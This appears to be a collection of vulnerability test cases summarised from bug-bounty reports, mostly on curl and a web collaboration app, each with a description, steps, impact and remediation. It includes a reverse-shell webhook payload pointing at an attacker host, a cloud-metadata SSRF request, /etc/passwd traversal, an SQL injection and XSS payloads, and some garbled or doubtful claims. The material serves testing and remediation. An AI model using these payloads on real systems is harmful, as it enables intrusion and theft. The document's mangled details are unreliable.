Reusable HackerOne Test Cases

Description: A malicious server can trigger a heap buffer over-read in a client application when responding to a specific SMB request, potentially disclosing sensitive information. This occurs because the client's parsing of the response does not adequately validate the data offset, leading to an out-of-bounds read.

How to Test:

1. Set up a malicious SMB server using a provided script (e.g., smbexploitserver.py) on a specific port (e.g., 4455).
2. Configure a client application (e.g., curl) to connect to the malicious server using a specified URL (e.g., smb://<TARGET_URL>:4455/share/file.txt). Use dummy credentials (e.g., -u anyuser:anypass).
3. Initiate a file transfer using the client application.
4. Verify the size of the received data. The expected size should be larger than the amount of legitimate data sent by the server.
5. Examine the contents of the received data to identify leaked heap memory. A payload such as AAAAAAAAAAAAAAAA can be sent from the server to more easily identify the heap leak.

Impact: Potential disclosure of sensitive information, including authentication credentials, session tokens, and memory layout, which could be used for further exploitation.

Remediation: Implement robust input validation within the SMB parsing logic to ensure data offsets are within the boundaries of the expected response structure. Specifically, verify the offset against the message layout and byte count.

Description: This vulnerability occurs when a web application or library doesn't properly validate the Domain attribute in Set-Cookie headers. Attackers can use this to inject cookies that are inadvertently sent to other domains sharing the same public suffix, potentially leading to session hijacking or other malicious actions. Improper configuration or build options can exacerbate the problem.

How to Test:

1. Build a tool or library that handles HTTP cookies without public suffix validation (e.g., ./configure --disable-shared --without-libpsl && make -j).
2. Start a local HTTP server that sets a Set-Cookie header with a malicious Domain attribute (e.g., Set-Cookie: sess=attack; Domain=.co.uk; Path=/).
3. Use the vulnerable tool/library to retrieve the cookie from the malicious server using a specific hostname (e.g., curl -v --resolve attacker.co.uk:8000:127.0.0.1 http://attacker.co.uk:8000/ -c /tmp/cjar2).
4. Reuse the retrieved cookie jar with a different hostname (e.g., curl -v --resolve victim.co.uk:8000:127.0.0.1 http://victim.co.uk:8000/ -b /tmp/cjar2).
5. Verify that the cookie is sent to the second hostname. Example payload: Domain=.co.uk.

Impact: An attacker can inject cookies and have them sent to unrelated domains, potentially leading to session hijacking, session fixation, or other forms of request poisoning.

Remediation: Always validate the Domain attribute of Set-Cookie headers against a list of public suffixes. Use libraries or functions that provide this validation automatically. Ensure all tools and libraries are configured correctly, including necessary dependencies.

Description: This vulnerability arises from improper handling of newline characters within the Gopher protocol, allowing attackers to inject arbitrary commands. Exploitation can lead to unauthorized access and control of internal services, potentially resulting in remote code execution or data breaches.

How to Test:

1. Set up a listener on a specific port to receive incoming commands: nc -lvnp <PORT>
2. Construct a Gopher URL containing URL-encoded CRLF characters to inject commands: ./curl "gopher://<TARGETURL>:<PORT>/Dummy%0d%0a<PAYLOAD>%0d%0"
3. Observe the output on the listener. The listener should receive multiple commands instead of a single line. For example, Dummy%0d%0aHELLOSERVER%0d%0 should appear as three separate lines.
4. Verify that the injected <PAYLOAD> is correctly interpreted and executed by the receiving service.

Impact: Allows attackers to interact with internal text-based protocols, potentially enabling remote code execution, SMTP injection, or bypassing security controls.

Remediation: Implement strict input validation and sanitization for all incoming data within the Gopher protocol handler, ensuring that newline characters are properly handled and cannot be exploited to inject arbitrary commands.

Description: Tab nabbing is a type of attack where a newly opened tab can redirect the user's original tab to a malicious website, often mimicking a legitimate page. This can be used for phishing attacks to steal user credentials or redirect users to harmful content. The vulnerability arises when a page opens in a new tab without proper safeguards against external manipulation.

How to Test:

1. Open a web application that allows links to open in new tabs (target="_blank").
2. Open a link in a new tab.
3. Open the browser's developer console.
4. Execute the following JavaScript code in the console: window.opener.location='http://<TARGET_URL>' (Example: window.opener.location='http://example.com')
5. Observe if the original tab redirects to the specified URL.

Impact: Users may be redirected to a malicious website without their knowledge, potentially leading to credential theft or other harmful actions.

Remediation: Always implement strict content security policies (CSP) and avoid using window.opener unless absolutely necessary. If it is needed, sanitize and validate the target URL carefully to prevent redirection to unintended or malicious locations.

Description: This vulnerability allows an attacker to hijack an authenticated connection, potentially bypassing access controls and impersonating a higher-privileged user. It occurs due to improper connection reuse where the client IP specified for the connection is not persisted and is therefore reused for subsequent requests.

How to Test:

1. Establish a secure connection to <TARGETURL> using a specific client IP address <PAYLOAD> curl --haproxy-client-ip 10.0.0.1 <TARGETURL>.
2. Immediately after the first request, send a second request to the same <TARGETURL> without specifying a client IP address or with a different client IP address <PAYLOAD> curl <TARGETURL>.
3. Monitor the server-side logs to confirm that the second request is attributed to the IP address of the initial connection (10.0.0.1 in the example) rather than the IP address of the second request.
4. If the target utilizes mTLS, verify that the second request inherits the TLS context of the initial connection.

Impact: An attacker can bypass access controls, impersonate privileged users, and potentially gain unauthorized access to resources or data. This leads to integrity and confidentiality compromises.

Remediation: Ensure that the client IP is stored and verified during connection reuse. Implement robust connection management that respects client-provided identity information, preventing the accidental reuse of connections with mismatched identities.

Description: This issue describes a vulnerability where a WebSocket client fails to properly validate the Sec-WebSocket-Accept header during the handshake process. This can allow an attacker to inject malicious frames into the WebSocket connection, leading to potential data manipulation or protocol confusion. The client accepts a server’s response even when the Sec-WebSocket-Accept is incorrect.

How to Test:

1. Build a WebSocket client library from source, disabling SSL and other dependencies as needed.
2. Set up a TCP server that responds with a WebSocket 101 response containing a deliberately incorrect Sec-WebSocket-Accept header and a text frame. For example: HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: WRONGKEY\r\n\r\n.
3. Run the WebSocket client against the server at <TARGET_URL> using the client’s built-in example or a similar test script.
4. Observe if the client successfully receives and processes the text frame despite the incorrect Sec-WebSocket-Accept value. The expected behavior is that the handshake should fail. Example payload: ws://<TARGET_URL>/.

Impact: An attacker can inject malicious WebSocket frames without proper authentication, leading to data injection or protocol confusion. This violates WebSocket handshake integrity and exposes clients to potential compromise.

Remediation: Implement strict validation of the Sec-WebSocket-Accept header during WebSocket handshake processing. Ensure the server-provided value matches the client’s calculated value. Follow RFC 6455 guidelines closely for WebSocket handshake implementation.

Description: This vulnerability allows an attacker to trigger Server-Side Request Forgery (SSRF) by manipulating the List-Unsubscribe header in an SMTP email. The server then makes a request to a URL specified within this header, potentially accessing internal resources. The vulnerability exists when local and remote server connections are allowed.

How to Test:

1. Configure the target application to allow local and remote SMTP servers.
2. Craft an email with a manipulated List-Unsubscribe header containing a URL pointing to an internal resource. Example: List-Unsubscribe: <http://internal.example.com/sensitive_data>
3. Send the email to a valid recipient within the target application.
4. Observe the server’s response and network traffic to confirm the request to <http://internal.example.com/sensitive_data> was made.
5. Use a timing-based SSRF technique like List-Unsubscribe: <http://<TARGET_URL>/slowloris.php> to identify internal services.

Impact: An attacker can potentially access internal resources, read sensitive data, or interact with internal services without proper authorization.

Remediation: Disable or restrict the ability to use local and remote SMTP servers. Validate and sanitize all user-supplied data within email headers, particularly the List-Unsubscribe header. Implement strict network segmentation and access controls.

Description: The application allows users to provide a URL for link unfurling, fetching metadata from the given URL. Due to insufficient validation, link-local addresses are not blocked, leading to Server-Side Request Forgery (SSRF) vulnerabilities. This can allow authenticated users to access internal services or metadata.

How to Test:

1. Authenticate to the target application.
2. Send a POST request to the link unfurl endpoint with a link-local URL.
3. Use the following payload as an example:

curl -X POST <TARGET_URL>/unfurl_link -H "Cookie: <COOKIE_VALUE>" -H "X-CSRF-Token: <CSRF_TOKEN>" -d 'url=http://169.254.169.254/latest/meta-data/'

1. Observe if the application fetches data from the link-local address. Verify that the response contains data from the targeted link-local resource.
2. Repeat the test with other link-local addresses like fe80::/10.

Impact: An authenticated attacker can potentially access internal services, cloud metadata, or other sensitive resources that are only accessible within the internal network.

Remediation: Implement stricter URL validation to explicitly block link-local addresses (169.254.0.0/16 and fe80::/10) during URL resolution. Use a robust private network guard that includes link-local address checks.

Description: A flaw in how Digest authentication headers are parsed can lead to authentication failures or fallback to weaker authentication methods. Malicious servers can craft RFC-compliant headers containing unexpected whitespace or escaped quotes to exploit this, potentially causing denial-of-service or bypassing authentication.

How to Test:

1. Set up an API server or listener at <TARGET_URL> that returns the following WWW-Authenticate header:
2. Send a request to <TARGETURL> using a tool like curl with Digest authentication enabled: curl --digest -u <USERNAME>:<PASSWORD> <TARGETURL>
3. Observe if the authentication fails, or if parameters are incorrectly parsed.
4. Repeat the test with a WWW-Authenticate header including a space after the comma: WWW-Authenticate: Digest realm="test", nonce="xyz"
5. Repeat the test with an escaped quote inside the realm attribute: WWW-Authenticate: Digest realm="My \"Cool\" Realm", nonce="xyz"
6. Verify that the response indicates authentication failure or incorrect parameter parsing.

Impact: Authentication failures, fallback to weaker authentication schemes, or potential bypass of authentication mechanisms.

Remediation: Ensure proper handling of optional whitespace and escaped quotes when parsing WWW-Authenticate headers. Adhere to RFC specifications for header parsing and use well-tested libraries.

Description: This vulnerability occurs when an application, like curl, processes compressed HTTP responses (gzip, brotli, or zstd) without limiting the size of the uncompressed data. A malicious server can exploit this by sending a small compressed file that expands to a very large size when decompressed, potentially leading to denial-of-service. The issue stems from the lack of safeguards against excessive memory usage during decompression.

How to Test:

1. Send a compressed HTTP response from a server using a content encoding like gzip, brotli, or zstd. The compressed data should be relatively small in size.
2. Use a tool like curl to retrieve the response: curl -s <TARGET_URL>
3. Monitor the memory usage of the process handling the decompression. Observe if memory consumption grows significantly beyond what is expected based on the size of the compressed data.
4. An example payload could be a specially crafted, small compressed PDF file designed to expand significantly upon decompression. <PAYLOAD> could be the contents of this crafted file.

Impact: Denial of service due to excessive memory consumption, potentially crashing the application or impacting system stability.

Remediation: Implement a maximum limit on the size of the uncompressed data during decompression and halt the process if the limit is exceeded.

Description: A flaw exists where excessively long protocol schemes can lead to truncation of environment variable names used for proxy configuration. This can cause unexpected proxy behavior as curl might read configuration from unintended, truncated environment variables. This potentially exposes applications to incorrect proxy settings and bypasses security policies.

How to Test:

1. Set a protocol scheme longer than 12 characters in a URL, for example, <TARGET_URL>?scheme=extremelylongprotocolname.
2. Observe the environment variable name constructed for proxy configuration.
3. Check if the environment variable name is truncated. For instance, extremelylongprotocolname might become extremelylongsc.
4. Use a command line tool, like curl with a custom scheme, to trigger the vulnerability: curl -x <PROXYURL> -H "Proxy-Scheme: extremelylongprotocolname" <TARGETURL>

Impact: Incorrect proxy configuration, potential proxy bypass, and unexpected network behavior due to the reading of unintended environment variables.

Remediation: Increase the buffer size for environment variable name construction to accommodate longer protocol scheme names. Implement validation to ensure that generated environment variable names do not exceed a maximum length.

Description: A maliciously crafted response from an SMB server can trigger a heap buffer over-read in a client using a vulnerable version of libcurl. This leads to information disclosure, potentially exposing sensitive data like authentication credentials or API keys. The vulnerability stems from an incorrect bounds check during the processing of SMB READ_ANDX responses.

How to Test:

1. Configure an SMB server to send a specially crafted response containing a large claimed message size.
2. Use a vulnerable version of curl (e.g., 8.15.0) to connect to the SMB server and request a file: curl -u anyuser:anypass -o leaked.bin smb://<TARGET_URL>/share/file.txt
3. Verify the output file size: ls -la leaked.bin. The size should be significantly larger than the actual data sent by the server.
4. Inspect the contents of the output file using a hex editor or xxd: xxd leaked.bin | head -20. The output should show the expected data followed by heap memory content.
5. The attacker can set dataoffset and datalength to read from any position within the receive buffer.

Impact: Exposure of heap memory potentially containing sensitive information such as authentication tokens, API keys, or other private data. This could lead to account compromise and further exploitation.

Remediation: Implement stricter bounds checking when processing SMB responses. Ensure that offsets are validated against the expected message layout and size of the response data. The byte_count field needs to be used and not just the total received bytes.

Description: This vulnerability arises from a failure to properly validate the length of the authentication tag during ciphertext decryption. The API documentation suggests a default tag length, but the implementation does not enforce this, allowing for shorter, truncated tags. This enables an attacker to potentially recover the encryption key and forge valid ciphertexts.

How to Test:

1. Utilize the createCipheriv and createDecipheriv functions with a specified algorithm, such as <ALGORITHM>.
2. Initialize a cipher object with a key and nonce: key = '<KEY>'; nonce = '<NONCE>'.
3. Encrypt a plaintext message: plaintext = '<PLAINTEXT>'.
4. Obtain the authentication tag: tag = cipher.getAuthTag().
5. Initialize a decipher object with the same key and nonce.
6. Attempt decryption using a truncated authentication tag: decipher.setAuthTag(tag.subarray(0, <TAGLENGTH>)); where <TAGLENGTH> is less than the expected default value (e.g., 4, 8, 12).
7. If the decryption is successful, it indicates a vulnerability.
8. Example payload: const key = 'key0123456789key'; const nonce = '123456789012'; decipher.setAuthTag(tag.subarray(0, 4));

Impact: An attacker could potentially decrypt ciphertexts without the full authentication tag, recover the encryption key, and forge valid ciphertexts, leading to data breaches and unauthorized access.

Remediation: Implement rigorous validation of the authentication tag length during decryption. Ensure that the tag length matches the expected value as defined in the API documentation and handle invalid tag lengths appropriately. Enforce the documented tag length.

Description: This vulnerability allows an attacker to inject malicious scripts into a web application via a crafted URL. This can lead to session hijacking, defacement, or redirection to malicious sites. The issue arises when user-supplied data is not properly sanitised before being included in the response.

How to Test:

1. Construct a URL using the following pattern: <TARGET_URL>?targetURL=<PAYLOAD>
2. Replace <PAYLOAD> with a script injection payload, for example: "%22);alert(document.domain);//
3. Access the crafted URL in a web browser.
4. Observe if the injected script executes, indicating successful XSS.

Impact: An attacker can execute arbitrary JavaScript code in the user's browser, potentially leading to account compromise or data theft.

Remediation: Implement proper input validation and output encoding to prevent the injection of malicious scripts. Use a Content Security Policy (CSP) to restrict the resources that the browser is allowed to load.

Description: This vulnerability allows an attacker to trick the server into making HTTP requests to arbitrary URLs by manipulating a webhook URL parameter in an export process. This can lead to unauthorized access to internal resources or data exfiltration. The server blindly forwards requests to attacker-controlled systems.

How to Test:

1. Send a POST request to the export endpoint with a crafted JSON payload.
2. Modify the webhookUrl parameter in the JSON payload to point to an attacker-controlled server.
3. The webhookUrl parameter should contain a command to execute on the target server, such as: https://<ATTACKERURL>/sh -i & devtcp<TARGETIP> 9001 0&1
4. An example payload can be:

{
  "id": 12345,
  "name": "test",
  "oAuthRequired": false,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "webhookUrl": "https://<ATTACKER_URL>/sh -i & devtcp<TARGET_IP> 9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}

1. Monitor the attacker-controlled server for incoming requests from the target server, confirming the SSRF. Verify the request contains the command payload.

Impact: Unauthorized access to internal resources, data exfiltration, and potential for further exploitation.

Remediation: Validate and sanitize all user-supplied URLs. Implement strict access controls and network segmentation to prevent access to sensitive internal resources. Use allowlists for acceptable URLs and block all others.

Description: Calendar attachments, when presented for download, might expose local files if not properly sanitised. This could allow an attacker to retrieve files from the server's filesystem that they should not have access to. Proper validation of file extensions and paths is essential.

How to Test:

1. Create a calendar entry with an attachment.
2. Observe the download link or mechanism for the attachment.
3. Attempt to modify the attachment URL to include a path traversal sequence, like <PAYLOAD> (e.g., ../../../../etc/passwd).
4. Check if the server serves a file from the manipulated path. Example payload: ../../../../etc/passwd
5. Verify the file extension is properly validated and restricted to expected types.

Impact: Retrieval of sensitive files from the server's filesystem.

Remediation: Implement strict file validation and path sanitisation when handling attachments, particularly when constructing download URLs. Use whitelists for allowed file extensions.

Description: This vulnerability allows a user to move a column from one table to another table belonging to a different user. This can lead to data modification and potential privilege escalation, as users can manipulate data they should not have access to. The vulnerability arises from a failure to verify ownership during column movement operations.

How to Test:

1. Log in to the application as User A.
2. Create Table A with at least one column.
3. Log in to the application as User B.
4. Create Table B.
5. While logged in as User A, attempt to move a column from Table A to Table B using the application's column manipulation interface, or through an API call if one is available. The request may include parameters like sourcetableid, destinationtableid, and columnid. Example Payload: sourcetableid=<TABLEAID>&destinationtableid=<TABLEBID>&columnid=<COLUMN_ID>.
6. Verify if the column movement is successful without proper ownership verification.

Impact: Unauthorized data modification, potential privilege escalation, and compromise of data integrity.

Remediation: Implement robust ownership checks before allowing any data manipulation operations between tables. Ensure users can only interact with tables they own or have explicit permissions to modify.

Description: This vulnerability involves the exposure of sensitive metadata associated with tables, potentially allowing an attacker to gain insights into the structure and internal workings of a data storage system. This information can be used to plan further attacks or bypass security measures. The disclosure of metadata can lead to unauthorized data access or manipulation.

How to Test:

1. Navigate to the tables application at <TARGET_URL>.
2. Attempt to access metadata for a table using a crafted URL or API request. This could involve manipulating table names or identifiers in the request. For example: <TARGETURL>/tables/<TABLENAME>/metadata.
3. Observe the response to identify any exposed metadata, such as column names, data types, or other sensitive information. The payload would be a manipulated URL.
4. Use the following payload as an example: <TARGETURL>/tables/sensitivetable/metadata.

Impact: Unauthorized disclosure of table metadata, leading to potential data exfiltration or manipulation.

Remediation: Implement proper access controls to restrict metadata access to authorized users only. Sanitize and validate all user inputs to prevent manipulation of table identifiers.

Description: A user can delete another user’s poll draft without knowing anything about it, only the draft ID. This allows for unauthorized data removal and potential denial of service. The vulnerability arises from a lack of proper authorization checks during the deletion process.

How to Test:

1. Obtain the ID of a poll draft belonging to another user. This may involve observing network requests or using other vulnerabilities to enumerate IDs.
2. Construct a request to delete the poll draft, using the obtained ID in the relevant request parameter. For example: DELETE <TARGETURL>/polls/drafts/<DRAFTID>
3. Verify that the poll draft is successfully deleted without authentication or authorization. A successful response might be a 204 No Content status code.
4. Observe if the original user is notified or aware of the deletion.

Impact: Unauthorized deletion of poll drafts, potentially leading to data loss and disruption of user workflows.

Remediation: Implement robust authorization checks to ensure that users can only delete their own poll drafts. Validate all input parameters, including IDs, to prevent manipulation. Provide clear feedback to users regarding deletion actions.

Description: This issue involves a user with permission to share resources being able to modify the access permissions of other users who are not owners. This bypasses intended access controls, potentially leading to unauthorized access or modification of data. It highlights a flaw in permission management logic.

How to Test:

1. Ensure user A has permission to share a resource (e.g., a folder or file) with other users.
2. Ensure user B is a non-owner user with access to the same resource.
3. Using user A’s session, attempt to modify the permissions granted to user B for the shared resource. Example payload: <PAYLOAD> (This would be a request body containing JSON or XML data to modify the access level, e.g., changing read-only access to full write access).
4. Verify that the permission change is successful and user B's access level is modified without their consent or the owner's knowledge.

Impact: Unauthorized access to sensitive data or the ability to modify data belonging to other users.

Remediation: Implement stricter access controls to prevent users with sharing permissions from modifying the permissions of other users. Ensure permission changes require explicit owner approval or follow a least-privilege principle.

Description: The application allowed users to book appointments without proper authentication or a valid token. This lack of proper authorization could potentially allow an attacker to create appointments on behalf of other users, leading to scheduling conflicts or denial of service. The vulnerability highlights a critical flaw in the application’s access control mechanism.

How to Test:

1. Send a POST request to the appointment booking endpoint, located at <TARGET_URL>/booking.
2. Include the appointment details in the request body, such as the start time, end time, resource ID, and user ID.
3. Omit the authentication token or provide an invalid token in the request headers.
4. Observe whether the appointment is successfully booked without proper authentication.

Example Payload: {"start":"2024-01-01T10:00:00Z", "end":"2024-01-01T11:00:00Z", "resourceId":"room1", "userId":"user2"}

Impact: An attacker could potentially book appointments on behalf of other users, leading to scheduling conflicts or denial of service.

Remediation: Always validate user authentication and authorization before allowing any actions that modify data or resources. Ensure that every request includes a valid and properly verified token.

Description: This issue allows an attacker to enumerate shares in a system without proper authorisation. This can reveal information about the data being shared and potentially lead to unauthorised access. The vulnerability represents a regression from a previously fixed issue.

How to Test:

1. Send a GET request to <TARGET_URL>/apps/tables/public/shares?id=<PARAMETER> where <PARAMETER> is the ID of a table.
2. Observe the response. The response should require authentication, but if the vulnerability exists, shares might be enumerated without authentication.
3. Example Payload: /apps/tables/public/shares?id=123

Impact: Information disclosure; potential for unauthorized access.

Remediation: Implement proper access controls to prevent unauthenticated users from enumerating shares. Ensure fixes from prior vulnerabilities are correctly implemented and tested.

Description: This vulnerability allows an attacker to inject malicious JavaScript code into a website through an SVG file upload. When other users view the SVG file, the attacker's JavaScript executes in their browser context, potentially leading to account compromise or data theft. This is a significant risk as it bypasses typical sanitization measures.

How to Test:

1. Locate an upload functionality that accepts SVG files on <TARGET_URL>.
2. Upload an SVG file containing a malicious JavaScript payload. For example: <svg><script>alert("XSS");</script></svg>.
3. Verify that the SVG file renders correctly and that the injected JavaScript executes when the file is viewed by another user accessing <TARGETURL>/<UPLOADEDFILE>.
4. Use a browser's developer tools to confirm the presence and execution of the JavaScript payload.
5. Test with different JavaScript injection techniques and payload obfuscation to assess the effectiveness of input validation and output encoding.

Impact: An attacker can execute arbitrary JavaScript code in the context of another user's browser, potentially leading to session hijacking, account takeover, or defacement.

Remediation: Implement strict input validation on all uploaded files, including SVG files. Sanitize SVG content to remove or encode potentially malicious code. Use output encoding when rendering SVG files to prevent XSS attacks.

Description: Curl, when compiled with the GnuTLS backend, may default to weak cryptographic parameters, potentially allowing connections to servers using insecure ciphers. This can increase the risk of man-in-the-middle attacks if a poorly configured server is targeted. This vulnerability exists because the default GnuTLS security level is set to "NORMAL," which allows the usage of older, less secure algorithms.

How to Test:

1. Compile Curl with the GnuTLS backend: ./configure --with-gnutls; make
2. Test connections to servers known to use weak configurations: ./src/curl https://dh1024.badssl.com/ https://dh-small-subgroup.badssl.com/ https://dh-composite.badssl.com/
3. Examine the cipher suites used during the connection to confirm that weak algorithms are negotiated. The output can be viewed using the -v or --verbose flag in curl: ./src/curl -v <TARGET_URL>
4. Verify the security level by checking the GnuTLS priority string, aiming to ensure SECURE192 is being used as the base level.

Impact: An attacker with a poorly configured server can potentially downgrade the encryption strength, enabling them to perform man-in-the-middle attacks and compromise sensitive data.

Remediation: Configure Curl to use a more secure GnuTLS priority string, such as SECURE192, which enforces stronger ciphers and algorithms. Review and update GnuTLS configuration to ensure it aligns with current security best practices.

Description: This vulnerability occurs when user-supplied data is improperly sanitized and incorporated into a SQL query, allowing an attacker to inject malicious SQL code. The injected code can be used to read sensitive data, modify database content, or even execute arbitrary commands on the database server. This specifically targets systems using PostgreSQL and its raw string capabilities within SQL queries.

How to Test:

1. Construct a malicious SQL payload containing PostgreSQL raw string delimiters (e.g., $$) and commands.
2. Inject the payload into a user-supplied parameter or field that is incorporated into a SQL query, specifically within the context of a filtered relation annotation.
3. Observe if the injected command is executed, demonstrating successful SQL injection.

Example Payload: $a$,$b$,$c$,(1)from(select(1)id,(pgreadfile($$/etc/passwd$$))title,(3)authorid,(4)editorid,(5)numbereditor,(6)editornumber,(7)state)filteredrelationbook,(select(1),1

Impact: Unauthorized access to sensitive data, modification of database records, and potential remote code execution on the database server.

Remediation: Properly sanitize user input before incorporating it into SQL queries. Escape or filter special characters, and use parameterized queries or prepared statements to prevent SQL injection vulnerabilities. Ensure that any regular expressions used for filtering user input are comprehensive and account for potential injection vectors.

Description: This vulnerability allows attackers to manipulate callback mechanisms in inter-chain communication protocols, causing financial harm to relayers and disrupting cross-chain functionality. It exploits a mismatch between the simulated gas cost and the actual gas consumed during callback execution. This results in a denial of service for applications relying on cross-chain transactions.

How to Test:

1. Determine the maximum gas limit set for callbacks within the target inter-chain communication protocol's configuration.
2. Deploy a smart contract that executes computationally expensive operations (e.g., nested loops, hashing algorithms) designed to consume slightly under the determined gas limit (e.g., <GASLIMITLESSTHANMAX>). The contract must return a success status.
3. Construct an inter-chain message (e.g., MsgTransfer) and include a memo field containing the address of the deployed contract as the callback destination.
4. Trigger the relay process and monitor the gas consumption during callback execution. Verify that the simulation passes because the contract returns "success" and the gas consumption is below the limit.
5. Repeat the process multiple times to observe the financial impact on the relayer node.
6. Example Payload: <PAYLOAD: {"sender":"<SENDERADDRESS>", "receiver":"<RECEIVERADDRESS>", "amount":1, "memo":"<CONTRACT_ADDRESS>"}>

Impact: Financial losses for relayers, disruption of cross-chain communication, and potential loss of trust in the underlying protocol.

Remediation: Implement stricter gas limit enforcement during callback execution, require senders to specify and pay for callback gas usage, and enhance simulation logic to account for actual gas consumption instead of just success/failure status.

Description: This vulnerability arises when a command-line tool like curl, used to fetch data from a server, executes JavaScript code instead of simply displaying or handling it appropriately. This can lead to unexpected behaviour, potential security risks, and denial-of-service scenarios. The problem is more apparent in shells that execute code instead of just outputting it.

How to Test:

1. Host an endpoint that returns a JavaScript payload, such as <script>alert(1)</script>. For example, ctf.eztfsp.lv:8009/test.js.
2. Open a PowerShell terminal.
3. Run the following command: curl <TARGET_URL> (e.g., curl ctf.eztfsp.lv:8009/test.js).
4. Observe if a JavaScript alert window appears ("message from webpage 1" in the report).
5. Try to terminate the curl process using Ctrl+C and note if it hangs.

Impact: Unexpected JavaScript execution can lead to denial-of-service, potentially harmful script execution, and compromise system integrity.

Remediation: Ensure command-line tools handle responses as text or data, not as executable code. Properly sanitize or escape any dynamically generated content before serving it, and consider using safer alternatives if code execution is not needed.

Description: When using EPSV mode with a malicious FTP server that doesn't send data after establishing a connection, the curl program enters an infinite loop due to a flawed state machine. This prevents the program from completing the transfer or exiting normally.

How to Test:

1. Start a malicious FTP server on a network port. This server should establish an EPSV connection but not send any data. A Python script like the one provided can be used.
2. Execute the curl command using EPSV mode to download a file, providing dummy credentials. For example: ./curl -u anonymous:123 'ftp://<TARGETURL>/test' -o ./test. Use a test file name like 'test' and a target URL like <TARGETURL>.
3. Observe that the curl program enters an infinite loop and does not complete the transfer or exit.

Impact: Denial of service – the curl process becomes unresponsive, consuming resources and preventing further network operations.

Remediation: Improve the error handling within the state machine to properly detect and recover from situations where data is not received after establishing an EPSV connection. Implement timeouts and checks for expected data to prevent infinite loops.

Description: A heap buffer overflow can occur when a TFTP server sends an Option Acknowledgment (OACK) packet with a block size exceeding the default, leading to memory corruption and potential remote code execution or denial of service. This vulnerability is due to inadequate buffer reallocation during the block size update.

How to Test:

1. Configure a TFTP server to send an OACK packet with a blksize option greater than the default (e.g., 2048).
2. Use a TFTP client (e.g., curl) to initiate a file transfer from the malicious server: curl tftp://<TARGET_URL>:<PORT>/test.
3. Observe if the client application crashes or exhibits unexpected behavior.
4. Monitor memory for corruption using debugging tools.

Impact: Potential for remote code execution or denial of service due to heap buffer overflow. An attacker could overwrite critical data or function pointers, leading to arbitrary code execution with the privileges of the affected process.

Remediation: Ensure that when a TFTP server provides a larger block size, the receive and send buffers are reallocated to accommodate the new size. Validate input sizes and allocate sufficient memory to prevent overflows.

Description: The file:// URI scheme handler fails to properly sanitise directory traversal sequences, enabling an attacker to access arbitrary files on the system. This poses a significant risk when the URI is constructed from untrusted input.

How to Test:

1. Use a command-line tool like curl or similar to retrieve a file using a file:// URI.
2. Craft a file:// URI containing directory traversal sequences (../) to escape the intended directory.
3. Attempt to access sensitive system files, like a password file.

    curl "file:///any/dummy/path/../../../../../../etc/passwd"

1. Observe whether the command successfully retrieves the contents of the intended file, bypassing the intended path.

Impact: Arbitrary file read, potentially exposing sensitive configuration files, source code, or system files.

Remediation: Implement robust sanitisation or validation of directory paths when handling file:// URIs. Avoid constructing file:// URIs directly from user input and implement strict access controls on the filesystem.

Description: GraphQL APIs often expose a schema introspection endpoint that allows clients to discover the available types and fields. An attacker may be able to bypass authentication mechanisms by prefixing private or internal GraphQL operations with "__schema", enabling unauthorized access to sensitive information or functionality. This poses a risk to data confidentiality and potentially allows for unauthorized modifications.

How to Test:

1. Send a GraphQL query to the target API endpoint, prepending "schema" to the operation name. For example: schema { type MyPrivateType { field1: String } }
2. Observe the response. A successful response indicates the attacker can access the schema without authentication.
3. Experiment with different operation names prefixed with "__schema" to attempt access to other private or internal functionalities.
4. Use tools like curl to craft the request: curl -X POST <TARGETURL>/graphql -H "Content-Type: application/json" -d '{"query": "_schema { type MyPrivateType { field1: String } }"}'

Impact: Unauthorized access to sensitive data or functionality within the GraphQL API. Potential for data breaches and modification of system behaviour.

Remediation: Implement proper authentication and authorization checks for all GraphQL operations. Restrict access to the schema introspection endpoint to authenticated users only. Use schema directives or custom resolvers to control access to sensitive fields and types.

Description: This vulnerability allows an attacker with a wildcard certificate for a domain to bypass hostname verification by connecting to a hostname that begins with a dot. The validation logic incorrectly treats the leading dot as part of the hostname, causing a mismatch in certificate validation. This can lead to man-in-the-middle attacks.

How to Test:

1. Generate a wildcard certificate for a domain (e.g., *.test.local).
2. Configure a local server to accept connections on a specific port (e.g., 9443).
3. Use a tool like curl to connect to a hostname that starts with a dot (e.g., .test.local:9443) and specify the wildcard certificate for verification.
4. Check if the connection is successful and the hostname is not rejected.
5. Run: chmod +x poc.sh and ./poc.sh /path/to/curl

Impact: An attacker can perform man-in-the-middle attacks on HTTPS connections by exploiting this bypass.

Remediation: Ensure that hostname validation correctly handles hostnames starting with a dot. The hostname should be verified without including the leading dot.

Description: A stack-based buffer overflow occurs when handling TLS errors, potentially leading to application crashes or, in some cases, arbitrary code execution. This happens because an error message is copied into a fixed-size buffer without sufficient bounds checking. This vulnerability is more critical in production environments where debugging checks are disabled.

How to Test:

1. Identify a service using a cURL-based TLS library.
2. Trigger a TLS error condition within the service. This might involve sending malformed TLS packets or configuring the service to use an invalid certificate.
3. Monitor the service's memory usage for signs of a stack overflow, which may manifest as crashes or unexpected behavior.
4. Observe the vulnerability with the following payload and test program:

#include <stdio.h>
#include <string.h>

static char *wssl_strerror(unsigned long error, char *buf, unsigned long size) {
    *buf = '\0';
    if(!*buf) {
        const char *msg = error ? "Unknown error" : "No error";
        strcpy(buf, msg); // VULNERABLE CALL: ignores `size`
    }
    return buf;
}
int main() {
    char small_buffer[12];
    wssl_strerror(1, small_buffer, 12);
    printf("Result: %s\n", small_buffer);
    return 0;
}

Compile the above code, then execute it to check for memory overflow.

Impact: Denial of Service (application crash) or potential Arbitrary Code Execution if memory corruption allows control flow hijacking.

Remediation: Always use safe string handling functions that perform bounds checking (e.g., strncpy, snprintf) when copying data into fixed-size buffers. Employ compiler-based address sanitizers during development and testing.

Description: A server can be tricked into providing a filename to a client's curl command that includes special escape sequences. These sequences can manipulate the terminal output, potentially displaying misleading error messages or concealing malicious content. This can lead to user confusion or, in some cases, trick users into believing a download failed while a different file is being saved.

How to Test:

1. Set up a local HTTP server that serves files with a dynamically generated filename.
2. The filename should include escape sequences like \033[1G\033[2K\033[A (carriage return, clear line, up arrow, clear line) followed by an arbitrary error message (e.g., "curl: (6) Could not resolve host: google.com").
3. Use curl with options -J, -O, and -w to download the file and display the filename. For example: curl -J -O -w "Saved to: %{filenameeffective}" <TARGETURL>.
4. Observe the terminal output to confirm the presence of the crafted error message.
5. Verify the downloaded file's contents and filename are as expected, compared with the crafted filename.

Impact: User confusion, potential for information disclosure, misleading error messages.

